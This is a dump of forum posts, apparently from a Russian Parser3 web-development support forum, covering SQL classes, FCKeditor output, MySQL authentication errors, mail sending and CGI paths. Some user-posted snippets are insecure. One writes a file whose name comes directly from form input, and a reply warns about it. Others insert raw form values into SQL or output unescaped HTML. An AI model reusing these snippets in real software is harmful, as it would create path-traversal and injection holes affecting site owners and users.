2. конечно же это нормально."
"45065","...ибо как видно из текста ошибки ругань идет на ^image::measure[], а его в приведенном коде нет."
"45066","Забыл я про -f и про -d >:-<\
\
$result[По выходным надо бухать, а не работать!]"
"45068","[i]Считайте, что здесь секта Парсера. Вас практически никто не понимает! :-)[/i]"
"45070","Можно ли как то с Parser3 легко работать с ini файлами? Вроде стандартных функция нет. (типа аналога в PHP: parse_ini_file())"
"45071","Я уже это понял. [i]Да, хорошо работают копирайтеры студии Лебедева (как я уже и говорил).[/i]\
\
Засим позвольте откланяться."
"45074","[code]\
$result(def $_file)\
[/code]"
"45075","Хорошо работают. И не только копирайтеры, да и не столько. И без всяких кавычек и скрытого смысла."
"45076","[code]\
$found[^file:list[$pathToDir/;^^(index|default|main)]]\
^if($found){\
   $fileSpec[$pathToDir/$found.name]\
   …\
}\
[/code]"
"45077","Вверху, под логотипом написано \" Первая хостинговая компания,\
  работающая под девизом\
  \"Хостинг для бизнеса\"\"\
\
Сорри, но из этого исходит, что раньше ВСЕ хостеры работали под девизами подобными \"хостинг по приколу\" :)"
"45078","[b]Хостинг по приколу.[/b] Дешево и сердито."
"45085","Ошибка исправлена, всем спасибо"
"45086","как можно # как можно не обрабатывать данный символ, конструкция типа ^# не работает так как заменяет на символ"
"45087","ТЫ хочешь чтоб этот знак не выводился, или не работал в коде?\
Тебе следует почитать доку! ТАм написанны все знаки которые являются служебными"
"45088","Понимаешь доку читал, нужно чтобы он не обрабатывался, а суть в том что заменить его невозможно"
"45089","сабж.\
выяснил, что на версии 3,1,3 все ок, а на 3,1,4 выдает ошибку. \
ну ткните куда-нибудь в изменившийся синтаксис. ведь чую в этом дело."
"45091","не ставить # в начале строки :) дальше он не считается комментарием (за исключением ^string.match[][x])"
"45092","1. что непонятно из этого сообщения об ошибке:\
[quot]\
'create' empty string is not valid datetime\
[/quot]\
?\
\
2. очевидно у вас в $LevelNum оказалось совсем не то, что вы ожидали. попробуйте перед проблемной строкой написать: ^throw[a;=$LevelNum=] и посмотрите что там. потом выясните что там должно быть чтобы все работало и найдите ошибку (чтобы указать на ней - недостаточно исходных данных)"
"45093","Решил обновить тут класс из статьи \"О переносимости SQL запросов\". Заменил файлы - всё работает. \
\
Заодно решил проверить наличие медленных запросов. Включил в auto.p соответствующие вставки \
\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;\
	$.cache_dir[/../data/sql_cache]\
]]\
\
и построцесс. Выставил параметры $.debug_time_limit(2) $.debug_queries_limit(2). Стал запускать страницы, на которых явно больше 2-х запросов и они явно долбше выполняются, чем указано.\
\
Но файл sql.log или sql.txt не создаётся. Проверял на локальном сервере и на обычном.\
Для проверки создал пустой локальный сайт с одним большим запросом из базы - sql.log создался.\
\
Подскажите, пожалуйста, если можете, из-за чего может не работать класс? Я пытался разобраться сам, но код сайта уже такой большой, что не могу сообразить, из-за чего может не работать. Очевидно только одно - написанное с нуля - работает\
\
Спасибо"
"45094","[quot]Для того, чтобы получать debug информацию нужно немного иначе делать инициализацию объекта:[/quot]\
[code]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;\
$.is_debug(1)\
$.cache_dir[/../data/sql_cache]\
]]\
[/code]"
"45095","вопрос уже обсуждался"
"45099","Я сделал изначально всё так как вы написали (то есть и is_debug(1) есть и постпроцесс тоже), просто, когда копировал код в сообщение, перепутал.\
\
То есть, к сожалению, ваши советы мне не помогли. Извините, что напутал.\
Но, всё-таки, из-за чего может не выполняться класс?"
"45100","Чтобы ничего не влияло на опыт, выкинул из сайта все классы, оставил только это. Запрос к базе там идёт больше, чем 1мс - порядка 20000 строк. Но всё-равно ничего не создаётся.\
\
Файл auto.p в каталоге с парсером я не стал трогать, поскольку он аналогичный тому, что на другом сайте с работающим дебагом.\
\
[code]\
@USE\
sql.p\
mysql.p\
\
\
@auto[]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;\
	$.cache_dir[/../data/sql_cache]\
	$.is_debug(1)\
]]\
\
@postprocess[body]\
^if(def $MAIN:pSQL){\
	^if(def $form:mode && ^form:tables.mode.locate[field;debug]){\
		^MAIN:pSQL.print_statistic[$.file[/sql.txt]]\
	}{\
		^MAIN:pSQL.print_statistic[\
			$.file[/sql.log]\
			$.debug_time_limit(1)\
			$.debug_queries_limit(1)\
#			$.debug_result_limit(3000)\
#			$.is_expand_exceeded_queries_to_log(1)\
		]\
	}\
}\
$result[$body]\
\
@main[]\
^MAIN:pSQL.server{\
$table[^table::sql{\
		SELECT\
			message_id\
		FROM\
			forum_messages\
}]\
}\
[/code]\
\
Могу ещё сказать, что не выполняются именно метод ^MAIN:pSQL.print_statistic"
"45101","^table::sql{} -> ^MAIN:pSQL.table{...} и т.д."
"45102","обновил sql классы, не хочет сохранять [b]hash[/b], хотя [b]^MAIN:pSQL.table{[/b] нормально работает...\
\
[code]@main[]\
^MAIN:pSQL.server{\
$tmp[^MAIN:pSQL.hash{\
	SELECT object_id, title FROM object\
}[][\
	$.file[/../data/sql_cache/tbl.cfg]\
]]\
}[/code]\
\
[code]\
Unhandled Exception (file.access)\
\
z:/home/path/to/www/\
write failed: Permission denied (13), actual filename 'z:/home/path/to/www/'\
z:/home/path/to/www/../sql.p(439:8)\
[/code]"
"45103","[quot]\
write failed: Permission denied (13), actual filename 'z:/home/path/to/www/'\
[/quot]\
\
я ничем не могу помочь (hint: переведите текст сообщения об ошибке)\
при этом не понимаю, почему вы указываете /../data/sql_cache/tbl.cfg, а попытка сохранения идет в z:/home/path/to/www/?\
\
P.S. писать полные пути кеша запросов нехорошо. лучше задать в конструкторе $.cache_dir[/../data/sql_cache/] и в запросах указывать $.file[tbl.cfg]"
"45104","Весь код\
[code]\
@auto[]\
$connect-string[mysql://user:pass@localhost/tbl]\
$MAIN:pSQL[^mysql::init[$connect-string;$.cache_dir[/../data/sql_cache]]]\
\
@postprocess[body]\
$result[$body]\
^if(def $MAIN:pSQL){\
	^if(def $form:mode && ^form:tables.mode.locate[field;debug]){\
		^MAIN:pSQL.print_statistic[$.file[/../data/sql.txt]]\
	}{\
		^MAIN:pSQL.print_statistic[\
			$.file[/../data/sql.log]\
			$.debug_time_limit(500)\
			$.debug_queries_limit(25)\
#			$.debug_result_limit(3000)\
#			$.is_expand_exceeded_queries_to_log(1)\
		]\
	}\
}\
\
@main[]\
^MAIN:pSQL.server{\
$tmp[^MAIN:pSQL.hash{\
	SELECT object_id, title FROM object\
}[][\
	$.file[tbl.cfg]\
]]\
}\
[/code]\
\
Ошибка\
[code]\
z:/home/test.ru/www/\
write failed: Permission denied (13), actual filename 'z:/home/test.ru/www/'\
z:/home/test.ru/www/../sql.p(439:8) \
--------------------------------------------------------------------------------\
save z:/home/test.ru/www/../sql.p(439:8) \
_table_save z:/home/test.ru/www/../sql.p(457:2) \
_hash_save z:/home/test.ru/www/../sql.p(115:145) \
save_code z:/home/test.ru/www/../sql.p(266:34) \
if z:/home/test.ru/www/../sql.p(265:26) \
try z:/home/test.ru/www/../sql.p(253:18) \
if z:/home/test.ru/www/../sql.p(250:10) \
if z:/home/test.ru/www/../sql.p(248:2) \
_sql z:/home/test.ru/www/../sql.p(115:26) \
switch z:/home/test.ru/www/../sql.p(110:10) \
code z:/home/test.ru/www/../lib.p(373:18) \
if z:/home/test.ru/www/../lib.p(345:2) \
run_time z:/home/test.ru/www/../sql.p(109:2) \
sql z:/home/test.ru/www/../sql.p(180:10) \
hash z:/home/test.ru/www/auto.p(31:17) \
body z:/home/test.ru/www/../sql.p(76:28) \
connect z:/home/test.ru/www/../sql.p(76:2) \
server z:/home/test.ru/www/auto.p(30:12) \
[/code]\
\
\
Какуже говорил с table все хорошо...\
[code]\
^MAIN:pSQL.server{\
$tmp[^MAIN:pSQL.table{\
	SELECT object_id, title FROM object\
}[][\
	$.file[tbl.cfg]\
]]\
}\
[/code]"
"45106","[quot]z:/home/test.ru/www/\
write failed: Permission denied (13), actual filename 'z:/home/test.ru/www/'\
z:/home/test.ru/www/../sql.p(439:8)[/quot]\
\
Вы перевели это?\
Вам сказали что нельщя записать в этот каталог, нет молде прав. А еще вам сказали что источник ошибки находится в файле sql.p по адресу 439 строка 8 символ. Посмотрите что у вас там написано."
"45107","А то лег, выспался, все равно не работает :)...\
начал уже переписывать половину запросов под table..."
"45109","Всем спасибо, со всем разобрался, зря бузил, ибо из Перла все сделал. А потом и с Парсером разобрался, как только мне там дали шелл. Не совсем правильно общался с sendmail.\
\
Всем еще раз огромное спасибо. \
\
Egr, собранный тобой парсер у меня заработал нормально, хотя и не очень понадобился в итоге =) Пасиб =)"
"45110","Как сделать чтоб в Fckeditore при добавлении каждой новости не добавлялось \
<html>\
    <head>\
        <title></title>\
    </head>\
    <body>\
\
Это очень портит код , если много новост .. )\
Как это можно исправить ?"
"45111","А как ты вообще добавляешь новости? У меня таких проблем нет.\
Настроил - все работает нормально и добавляется только чистый код без этих тэгов.\
\
К примеру, в одном файле я вызываю FCKeditor и изменяю данные:\
\
[code]\
<script type=\"text/javascript\" src=\"/editor/fckeditor.js\"></script>\
<script type=\"text/javascript\">\
	window.onload = function() {\
		var oFCKeditor = new FCKeditor('Body')^;\
		oFCKeditor.BasePath = '/editor/'^;\
		oFCKeditor.ReplaceTextarea()^;\
	}\
</script>\
^connect[$connect_string]{\
	$Content[^table::sql{SELECT MainID, Body FROM ContentPart WHERE MainID = '$form:MainID'}]\
}\
<form action=\"ok.html\" method=\"post\">\
<textarea id=\"Body\" name=\"Body\" rows=\"60\" style=\"width: 100%^; height: 100%^;\">$Content.Body</textarea><br>\
<input type=\"Hidden\" name=\"MainID\" value=\"$form:MainID\">\
<input type=\"Hidden\" name=\"id\" value=\"$form:id\">\
<input type=\"submit\" value=\"Готово!\">\
</form>\
[/code]\
\
А в другом (ok.html), происходит обработка:\
\
[code]\
^connect[$connect_string]{\
# Добавляем в базу\
	^void:sql{UPDATE ContentPart SET Body = '$form:Body' WHERE MainID = '$form:MainID'}\
	}\
}\
[/code]\
\
И никаких лишних тэгов не получается."
"45112","Фот файл добавления новости , так и вызываю смотри :\
[code]\
@main[]\
\
\
<center>\
<form method=\"POST\">\
<p>\
Date: <input name=\"date\" value=\"^dtf:format[%Y-%h-%d]\">\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
Header: <input name=\"header\">\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
Info:   ^info[]\
   </p>\
<p>Body:<br>\
\
<script type=\"text/javascript\" src=\"editor/fckeditor.js\"></script>\
<script type=\"text/javascript\">\
	window.onload = function() {\
		var oFCKeditor = new FCKeditor('body')^;\
		oFCKeditor.BasePath = 'editor/'^;\
\
		oFCKeditor.ReplaceTextarea()^;\
	}\
</script>\
<textarea id=\"body\" name=\"body\" rows=\"30\" cols=\"109\"  >^untaint{$params.body}</textarea>\
</p>\
<p>\
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp;\
<input type=\"reset\" value=\"Cancel\">\
</p>\
</form>\
\
#начало обработки\
^if(def $form:date && def $form:header && def $form:body && def $form:info){\
   ^connect[$connect_string]{\
      ^void:sql{insert into news\
         (date, header, body, info)\
      values \
         ('$form:date', '$form:header', '$form:body', '$form:info')\
      }\
      …сообщение добавлено\
      }\
}{\
   …для добавления новости необходимо заполнить все поля формы\
}\
</center>[/code]"
"45113","Где же здесь могут браться эти тэги??\
\
Посмотри в самой базе, что в итоге попадает из $form:body. Уверен, что там нет лишних тэгов (<html><title>... и т.д.). Следовательно, они у тебя появляются где-то при выводе новостей, когда ты достаешь новости из базы. Поищи внимательнее."
"45114","Назнаю , мне кажеться это редактор смотри иногда появляеться ( не во всех а вот только в некоторых ) вот что :\
[code]\
<html>\
    <head>\
        <title></title>\
        <link type=\"text/css\" rel=\"stylesheet\" href=\"/admin/editor/editor/css/fck_editorarea.css\" />\
    </head>\
    <body>\
        <div style=\"text-align: center;\"><input width=\"450\" type=\"image\" height=\"337\" src=\"/UserFiles/debloids.jpg\" /></div>\
        <br />Здрасть ещё разок <img src=\"/images/smiley/msn/tounge_smile.gif\" alt=\"\" /><br />Видели у меня на фтп небольшую коллекцию роиков про деблоидсов ? <br />Ух , если досихпор не видели , то вы многое потеряли , <a href=\"ftp://172.16.152.74/%D0%E0%E7%ED%EE%E5/%C4%E5%E1%EB%EE%E8%E4%F1%FB/\">смотреть вот в этой папке </a><br />Ну так вот , у них на сайте появились новые ролики , а именно 4 ) <br /><a href=\"ftp://172.16.152.74/%D0%E0%E7%ED%EE%E5/%C4%E5%E1%EB%EE%E8%E4%F1%FB/%CD%EE%E2%EE%E5/\">Просмотреть новьё можно вот здесь </a>\
    </body>\
</html>[/code]\
Т.е прописываеться css от редактора )"
"45115","И ещё что интерестно , что если я не использую редактор , то всё нормально , нечаго лишнего )"
"45116","\"не во всех а вот только в некоторых ...\"\
\
Все-таки если появляется - значит должна быть какая-то закономерность. Где-то у тебя глюк. Ищи внимательнее!\
\
Во время редактирования, посмотри что у тебя получается в коде (в FCKeditor'e есть кнопка \"Источник\" - нажми ее).\
\
Если честно, больше пока особо ничего в голову не приходит. Надо самому смотреть че и как получается."
"45117","Только сейчас заметил разницу. Все sql-запросы я не пишу от руки, а копирую старые. Для всех новых сайтов копирую правильные запросы с ^MAIN:pSQL.table{...}, а на старом - остались обычные ^table::sql{}.\
\
Побежал переписывать :)"
"45118","К базе даных идет обращение с разных хостов. С одних проходит все нормально, а с других получаю ошибку \
\
Client does not support authentication protocol requested by server; consider upgrading MySQL client [sql.connect]\
\
В чем может быть дело.\
\
Строка подключения $connect_string[mysql://имя_пользователя:пароль@хост/имя_базы]\
\
Если обращение к базе идет с локального компьютера то проходит и localhost и IP, а если с другого хоста, то по IP не проходит.\
\
Через Mysql Front подключаюсь нормально с другого хоста."
"45119","скопируйте 'Client does not support authentication protocol requested by server' в строку поиска слева и нажмите кнопку 'Найти'"
"45120","У меня есть поделка одна, в качестве результата формирует двухуровневый хеш.\
секция [default] или строки без указания секции попадают в первый уровень, остальные - hash.имя_секции\
Можете использовать как базу для дальшейней работы.\
Буду благодарен за советы и дополнения.\
--\
[code]\
@_parse_config[cfg_file][data;block_name;key;value;commented]\
$block_name(0)\
$result[^hash::create[]]\
#> &#207;&#240;&#232;&#237;&#246;&#232;&#239;&#232;&#224;&#235;&#252;&#237;&#251;&#233; &#226;&#238;&#239;&#240;&#238;&#241;  - &#241;&#247;&#232;&#242;&#224;&#242;&#252; &#244;&#224;&#233;&#235; &#234;&#224;&#234; &#241;&#242;&#240;&#238;&#234;&#243; &#232;&#235;&#232; &#241;&#240;&#224;&#231;&#243; &#234;&#224;&#234; &#242;&#224;&#225;&#235;&#232;&#246;&#243;?\
#> &#226; &#241;&#235;&#243;&#247;&#224;&#229; &#229;&#241;&#235;&#232; &#226; &#244;&#224;&#233;&#235;&#229; &#229;&#241;&#242;&#252; &#241;&#232;&#236;&#226;&#238;&#235;&#251; &#242;&#224;&#225;&#243;&#235;&#255;&#246;&#232;&#232;, &#242;&#238; &#238;&#237;&#232; \"&#238;&#242;&#240;&#229;&#230;&#243;&#242;\" &#247;&#224;&#241;&#242;&#232; &#241;&#242;&#240;&#238;&#234;.\
^if(^cfg_file.pos[^#0A]<=0){\
	$data[^table::load[nameless;$cfg_file]]\
}{\
	$data[^table::create[nameless]{$cfg_file}]\
}\
^data.menu{\
	$string[^data.0.trim[]]\
	^switch[^string.left(1)]{\
		^case[#;/;^;]{$commented(1)}\
		^case[DEFAULT]{$commented(0)}\
	}\
	^if($commented == 0 && ^string.length[]>2){\
		^if(^string.left(1) eq '[' && ^string.right(1) eq ']'){\
			$block_name[^string.mid(1;^string.length[]-2)]\
			$block_name[^block_name.trim[]]\
		}{\
			^if(^string.pos[=] > 0){\
				$key[^string.left(^string.pos[=])] \
				$key[^key.trim[]]\
				\
				$value[^string.right(^string.length[] - ^string.pos[=] -1)]\
				$value[^value.trim[both; '\"^;]]\
\
				^if(^value.lower[] eq 'true'){$value(1)}\
				^if(^value.lower[] eq 'false'){$value(0)}\
				\
				^if($block_name is string && ^block_name.lower[] eq 'default'){\
					$block_name(^block_name.double(0))\
				}\
				\
				\
				^if($block_name is double){\
					$result.$key[$value]\
				}{\
					^if($result.$block_name is void){\
						$result.$block_name[^hash::create[]]\
					}\
					\
					^result.$block_name.add[$.$key[$value]]\
				}\
			}\
		}\
	}\
}\
[/code]"
"45121","[code]\
^if(^value.lower[] eq 'true'){$value(1)}\
[/code]\
\
==\
\
[code]\
$value(^value.lower[] eq 'true')\
[/code]"
"45122","...текст введенный в форму чтоб получился табличный файл.\
обычный текстовый файл сохранить - не проблема, разобрался, а вот табличный файл не могу."
"45123","вы несказали какя проблем или ошибка при этом возникает(ют)"
"45124","Ничего не получается.\
На двух хостах установлен одинаковый парсер с одинаковой lib, обращение к БД с одного хоста идет отлично, а с другого не идет."
"45125","Я начать не знаю с чего!\
С создания объекта Таблица и сохранения его в файл с данными занесенными в форму?\
С чего начать?"
"45127","давайте сразу договоримся, вы приводите относящийся к делу код, мы советуем."
"45128","У меня на сервере (FreeBSD 5.3) установлена MySQL 4.1 и Parser 3.1.4.\
Сайты расположенные на этом сервере получают доступ к БД без проблем  и не важно как прописана строка подключения localhost или IP. Но необходимо чтобы к базе подключился сайт расположенные на другом сервере. К MySQL для этой базы была открыта возможность внешнего коннекта, а сайт с другого хоста не может подключиться к БД, хотя я могу сделать внешний коннект к этой БД со своего локального компьютера."
"45129","Если я все правильно понял метод table при загрузке таблицы с диска, если строка начинается с  # - игнорирует строку. Пустые тоже \
Как загрузить ВСЕ строки?\
\
Пока додумался только до такого:\
[code]\
$f[^file::load[file.cfg]]\
$table[^table::create{$f.text}]\
^table.menu{\
$table.\
}\
[/code]\
\
вроде все кажет.\
насколько такое корректно и есть ли более оптимальные варианты?"
"45130","давайте назовём \"этот сервер\" машиной А, а \"другой сервер\" машиной Б.\
\
если машина Б работает тоже на FreeBSD, тогда можно\
1. скопировать libmysqlclient.so с машины А на машину Б в тот же каталог, где лежит libparser3mysql.so, для избежания путаницы назвать файл libmysqlclient4.so\
2. в auto.p написать так:\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	<тут оставить, как есть>\
mysql4	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient4.so\
}]\
]\
[/code]\
3. соединяться с машиной А по такой строке соединения:\
mysql4://..."
"45131","у вас там #ffffff написано?\
если вам кажется неизящным найденное вами решение, можно писать туда\
«ffffff», а добавлять # уже потом."
"45132","вот так вроде решил проблему.\
\
а по другому можно ее решить?\
\
[code]\
#ВВОД И СОХРАНЕНИЕ\
########################################################\
\
@post_termin[]\
$dte[^date::now[]]\
$tbl[^table::create{name	body		source	dt\
$form:header	$form:body	$form:source	$form:date\
}]\
\
#обрабатываем форму: сохраняем текстовый файл с расширением .*trm с имем и в нужном кататоге\
#1) создаем таблицу с полями дата, термин, текст, источник\
\
^if(def $form:date && def $form:header && def $form:body && def $form:source){\
	^tbl.save[terms/${form:header}.trm]\
}{\
пусто в яйцах\
}\
\
#форма ввода даты, термина(заголовка), текста и источника\
<center> \
<form method=\"POST\">\
<p>\
	Дата и время: <input name=\"date\" value=\"${dte.day}.${dte.month}.${dte.year}&nbsp;-&nbsp;${dte.hour}:${dte.minute}:${dte.second}\"> \
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
	Заголовок термина: <input name=\"header\">\
</p>\
<p>Толкование:\
	<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea>\
</p>\
<p>Источник:\
	<textarea cols=\"20\" name=\"source\" rows=\"2\"></textarea>\
</p>\
<p>\
	<input type=\"submit\" value=\"добавить\" name=\"posted\">&nbsp;&nbsp;&nbsp;\
	<input type=\"reset\" value=\"очистить\">\
</p>\
</form>[/code]"
"45134","так вы напрашиваетесь на очевидные неприятности.\
я уже на эту тему тут не раз писал."
"45135","'./lib/libparser3mysql.so' driver failed to initialize client library './lib/libmysqlclient4.so', can't open the module [<no type>]"
"45136","Пишет в лог, что мол, так и обращается к базе, все пять раз...\
Хотя должно быть наоборот, \
\
\
auto.p\
-------------------\
[code]\
@main[]\
^MAIN:pSQL.server{\
^for[i](0;4){\
	$tmp[^MAIN:pSQL.hash{\
		SELECT \
			object_id, title \
		FROM \
			object\
	}[][\
		$.file[tbl_${i}.cfg]\
	]]\
}\
}\
[/code]\
\
\
sql.txt\
-------------------\
[code]\
TIME: 2005-09-28 15:29:11, METHOD: GET, URL: http://test.ru/?mode=debug\
SQL connections while generating page: 1\
SQL requests while generating page\
\
hash:  	5\
--------------------------------------------------\
TOTAL:  	5\
\
TYPE: hash\
ROWS SELECTED: 9\
QUERY:\
SELECT object_id, title FROM object\
\
\
TYPE: hash\
ROWS SELECTED: 9\
QUERY:\
SELECT object_id, title FROM object\
\
\
TYPE: hash\
ROWS SELECTED: 9\
QUERY:\
SELECT object_id, title FROM object\
\
\
TYPE: hash\
ROWS SELECTED: 9\
QUERY:\
SELECT object_id, title FROM object\
\
\
TYPE: hash\
ROWS SELECTED: 9\
QUERY:\
SELECT object_id, title FROM object\
[/code]"
"45137","на libmysqlclient4.so\
\
и перепроверьте, что заливаете его в бинарном режиме."
"45138","Вот это :\
[code]\
<html>\
    <head>\
        <link type=\"text/css\" rel=\"stylesheet\" href=\"/admin/editor/editor/css/fck_editorarea.css\" />\
    </head>\
    <body>\
       \
    </body>\
</html>[/code]\
Удалишь , нажмёшь окей , опять откроешь и опять тоже самое ...\
Нехрена не понимаю..."
"45140","однако: там все равно была ошибка. опять надо обновлять... [да уж, после правок надо было хотя-бы проверить...] "
"45141","вырезание # и пустых строк безусловное."
"45143","Так тоже пробовал...\
$.file[tbl.cfg]\
\
сейчас еще скачаю, буду пробовать..."
"45146","Таблица (файл) может меняться, комментарии должны остаться. Поэтому в .menu{} определяется матчем наличие # в начале строки/ Если есть - это коммент, если нет - данные строки попадают в нужное место (Например в начале файла). При сохранении этой таблицы, комментарии вставляются туда где были (если актуальны).\
\
Само собой хранить #ffffff, по крайней мере в ПЕРВОМ столбце - глупо :)\
А изящность я сам не могу оценить, именно поэтому спрашиваю у Вас. Судя по ответу, мой вариант не самый плохой :)"
"45147","Наверное что то не так делаю, но ничего пока не удается. Не пашет ничего. PAF, дорогой, помоги. Или в форуме или support@ip6.ru"
"45148","ведь вы сами решаете.\
можно \
[code]\
;это комментарий\
это данные\
[/code]\
\
и выглядит неплохо (asm style), и parser вам не досаждает."
"45149","уже известно 3 косяка."
"45150","Павел, любимый, помоги:\
как в обожаемом MSAccess отловить изменения в записях, не применяя форму с AfterUpdate на таблице?\
\
пока придумалось только преобразовать таблицу к Design Master, тогда Access сам начинает вести нужные записи, но делает он это дело очень сложно.\
\
потом придумалось подсмотреть протокол Indirect syncronization, после пары дней мучений подсмотреть удалось,\
[code]\
2005-09-28 13:36:25 213.152.135.71 - 213.152.134.18 80 PUT /replicated/tst282577.tmp - 201TransporterClient\
2005-09-28 13:36:25 213.152.135.71 - 213.152.134.18 80 GET /replicated/tst282577.tmp - 200 TransporterClient\
2005-09-28 13:36:25 213.152.135.71 - 213.152.134.18 80 DELETE /replicated/tst282577.tmp - 200 TransporterClient\
2005-09-28 13:36:25 213.152.135.71 - 213.152.134.18 80 PUT /replicated/rep282642.msg - 201 TransporterClient\
2005-09-28 13:36:25 213.152.135.71 - 213.152.134.18 80 PUT /replicated/Jet282603.tmp - 201 TransporterClient\
2005-09-28 13:36:25 213.152.135.71 - 213.152.134.18 80 GET /cgi/mstrai40.exe ERRORCODE=0&MESSAGEFILE=rep282642.msg&MESSAGEDBFILE=Jet282603.tmp& 200 TransporterClient\
[/code]\
но файлы обмена оказались далеки от XML.\
а на то, чтобы передать информацию \"ничего тут не меняли\" обожаемый Access передал 9130 загадочных байт.\
\
остаётся попробовать подсмотреть даты обновления таблиц и в обновлявшихся подсмотреть, что менялось, заведя спецколонку(невидимую), где хранить исходный CRC от всех букв записи. тогда можно одним \
[code]\
select s_GUID from таблица \
where crc(текущих значений)!=\"исходная CRC\" \
[/code]\
быстро достать изменившиеся.\
\
но это медленно и не суперизящно, может что ищё можно?\
\
P.S. всё это нужно, чтобы не писать ODBC драйвер — дело совершенно не на пару недель, которые есть.\
\
P.P.S. это всё нужно, чтобы спрятать от пользователя сложные структуры таблиц и представить всё простым, для возможно более гибкого export/import/reporting.\
\
P.P.P.S. да, на mssql/oracle можно было бы добиться желаемого через views+sp, но хочется, чтобы система работала на любой базе. (помню mysql5, но сами понимаете -- поддерживать 3+ варианта хранимых удовольствие ниже среднего)"
"45151","Я загружаю wget'ом страницу, которая выставляет сессионную куку, мне нужно ее сохранить. --keep-session-cookie почему-то не работает.\
Internet Explorer и Opera разумеется эту куку не сохраняют.\
Может быть есть какой-то способ сохранить эту куку?"
"45152","Что нужно чтобы с сайта можно было отправить письмо? Читал форум, там только написано про то как исправить некоторые ошибки. А меня интересует как настроить работу и нужны ли для этого дополнительные программы?\
\
Я в /cgi-bin/auto.p на сайте в Интернете внес строку\
$MAIL[\
	$.SMTP[localhost]\
	$.sendmail[\\usr\\sbin\\sendmail -t -i -f postmaster]\
]\
\
создал файл mail.html\
^try{\
	^mail:send[\
	$.to[serzyx@yandex.ru]\
	$.from[mail@chb.ru]\
	$.subject[Обратная связь с сайта]\
	$.text[привет]\
	]\
}{\
	$exception.handled(1)\
	Сожалеем, но при отправке письма возникла неизвестная ошибка.\
}\
\
Выдает конечно: Сожалеем, но при ...\
Подскажите плиз в какую сторону копать?"
"45153","гляньте, что там делают. поймёте.\
\
другой вариант: найдите/попробуйте другую версию."
"45154","На странице новостей я вывожу заголовки новостей из базы MySQL, сортируя их по дате в порядке убывания. Если на одну дату приходится две новости, почему-то сначала выводится та, которая была внесена первой, хотя должно быть наоборот, ведь после нее была добавлена еще запись.\
Пожалуйста, объясните, почему так происходит и как это исправить.\
\
Заранее благодарю."
"45155","А надо так\
\
http://www.parser.ru/docs/lang/datesqlstring.htm"
"45156","пожалуйста, если в книгах и документации непонятно, обращайтесь в тематический форум."
"45157","2. уберите try\
3. попробуйте отправить письмо. если будет ошибка sendmail-а - поищите в форуме что она означает. если ошибки не будет - думаю все будет работать."
"45159","Помогите, никак не получается :-("
"45160","Ситуация следующая:\
есть сайт http://x.ru/\
есть перловый скрипт http://x.ru/cgi-bin/test.pl\
[code]\
#!/usr/bin/perl -w\
use strict;\
use CGI qw(:standard);\
\
print header;\
print \"Hello world\";\
[/code]\
который нормально запускается в браузере!\
\
есть парсерный скрипт http://x.ru/1.html\
[code]\
@main[]\
\
$cgi_file[^file::cgi[/cgi-bin/test.pl]] \
$cgi_file.text\
[/code]\
\
\
выдаёт ошибку\
W:/www/x/www//cgi-bin/test.pl\
exec failed - Системе не удается найти указанный путь (3). Consider adding shbang line (#!x:\\interpreter\\command line)\
W:/www/_bryanskedu/trade/www/1.html(3:18) \
\
я как-то неправильно прописываю путь конечно к перловому файлу\
он физически лежит тут:\
w:/Apache2/cgi-bin/test.pl\
парсерный скрипт тут:\
W:/www/x/www/1.html\
\
\
ВОПРОС: чего прописать тут ????\
$cgi_file[^file::cgi[ .... ]]"
"45161","W:/www/x/www/cgi-bin/test.pl\
exec failed - Системе не удается найти указанный путь (3). Consider adding shbang line (#!x:\\interpreter\\command line)\
W:/www/x/www/1.html(3:18) \
\
чтобы не было путаницы - будем считать, что пути такие для определённости. А то я ошибся малость в предыдущем сообщении"
"45162","а Вы напишите ЧТО именно вы делали и ход Вашей мысли.\
а мы, в свою очередь, потихоньку подтолкнем Вас в правильное русло"
"45163","#!x:\\interpreter\\command line\
Откуда парсеру знать где у Вас расположен перл?"
"45164","Ни у кого нет в наработках @showObject[object] ? Подразумевается, что в оператор загоняется объект (string, hash, table, user-class, ...) а на выходе имеем его html отображение? не поделитесь?\
\
ЗЫ. ФАК читал. Кода нет, что делал - тоже пока нет :)"
"45165","Если я буду послан, что весьма вероятно, то:\
\
Как извне класса получить список его всех методов и полей? Класс может быть пользовательский, рукодельный :)"
"45168","У меня есть XML-файл вот такой структуры:\
\
<cars>\
<car name=\"honda\" color=\"red\">\
<engine>1.6</engine>\
<power>125</power>\
</car>\
</cars>\
\
Мне надо получить простой текстовый файл вида:\
name[tab]color[tab]engine[tab]power\
honda[tab]red[tab]1.6[tab]125[tab]\
\
Я сделал html вида:\
\
$sourceDoc[^xdoc::load[cars.xml]]\
$transformedDoc[^sourceDoc.transform[cars.xsl]]\
^transformedDoc.string[\
    $.method[html]\
]\
\
С помощью XSL-файла я вывожу:\
honda,red,1.6,125<br/>\
\
Пробовал решить так:\
\
Создал auto.p, в котором есть:\
\
@zamena[string]\
$t_repl[^table::create[nameless]{\
<br/>     (символ перевода на новую строку)\
,	    (символ табуляции)\
}]\
$result[^string.replace[$t_repl]]\
\
В html поменял:\
\
^zamena[\
^transformedDoc.string[\
    $.method[html]\
]\
]\
\
^zamena[\
^transformedDoc.save[cars.cfg]\
]\
\
Не получается. :-(\
\
Подскажите правильное направление"
"45169","Если я делаю на виндах, а потом переношу сайт на юникс, то мне что в каждом перловом скрипте менять путь к интерпретатору перла? И вроде бы в денвере (я сам им не пользуюсь) всё работает со стандартной строчкой юниксовой #!/usr/bin/perl\
Вопрос как????\
\
Но предыдущий вопрос был не про путь к перлу. Как я сам уже выяснил после долгих экспериментов, заработало, лишь когда я положил /cgi-bin/ физически в корень вебпространства и для виртуального хоста прописал новый ScriptAlias на /cgi-bin/ в этот каталог, при этом парсер пришлось положить в новый каталог и прописать к нему новый ScriptAlias типа (у меня парсер один общий для всех моих сайтов на сервере)\
\
ScriptAlias /cgi-glob/ \"W:/Apache2/cgi-glob/\"\
....\
AddHandler parser3-handler html \
Action parser3-handler /cgi-glog/parser/parser3.exe"
